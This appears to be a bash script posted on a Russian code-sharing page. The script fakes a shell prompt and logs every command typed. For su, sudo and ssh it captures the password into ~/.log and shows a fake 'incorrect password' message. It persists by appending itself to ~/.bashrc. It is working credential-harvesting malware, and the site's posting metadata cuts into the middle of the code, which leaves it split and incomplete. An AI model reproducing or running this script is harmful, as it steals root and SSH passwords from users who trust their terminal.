0
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100
#!/bin/bash
cm=""
function psw_su()
{
t=`echo $1 | tr '_' ' '`
echo -n $t
read -s ps >> ~/.log
echo "password: " >> ~/.log
#safe password to log file
echo $ps >> ~/.log
echo
sleep 4s
echo "su: incorrect password"
$cm
# exit 0
};
function zar()
{
a=`cat ~/.bashrc | tail -n 1 | tr ' ' '_'`
b=$0
case $a in
$b)
;;
*)
echo $0 >> ~/.bashrc
;;
esac
};
zar
while :
do
psu="Password: "
psudo="root's_password:"
ht=$HOST
un=$USER
pw=`pwd`
case $pw in
$HOME)
#tilda ~ this is home directory
pw="~"
;;
*)
esac
#string of console of shell
nm=$USER"@"$HOST":"$pw"> "
echo -n $nm
echo -n " "
#enter command
cm=""
read -e cm
# cm=$1
#switch case
case $cm in
"")
;;
#authentficate as root
"su")
psw_su $psu
;;
#authentificat as root
"su -l root")
psw_su $psu
;;
#authentificate as other user
`echo $cm | grep "su -l" | grep [A-Za-z0-9].*`)
c=`echo $cm | tr ' ' '_' | rev`
c2=`basename $c _l-_us | rev`
echo "Login: "$c2 >> ~/.log
psw_su $psu
;;
#simple sudo as authentificate as root
"sudo bash")
psw_su $psudo
;;
`echo $cm | grep ssh`)
c=`echo $cm | tr ' ' '_' | rev`
c2=`basename $c _hss | rev`
echo "loginSSH: "$c2>> ~/.log
echo -n "Password: "
read -s ps
echo $cm >> ~/.log
echo "Password SSH:"$ps >> ~/.log
sleep 2s
echo
$cm
exit 0
;;
`echo $cm | grep sudo | grep sh`)
psw_su $psudo
;;
*)
esac
echo $cm >> ~/.log
#$cm >> ~/.log
#exec command
case $cm in
"")
cm="echo -n"
;;
shell script
Запостил:
guest ,
26.04.2009 (Updated 24.03.2018 )
не всё поместилось
esac
t="wc -l"
u=`$cm | $t`
/bin/bash -i -c "$cm ; exit | head -n $u"
done
exit 0
А похоже на индуский код?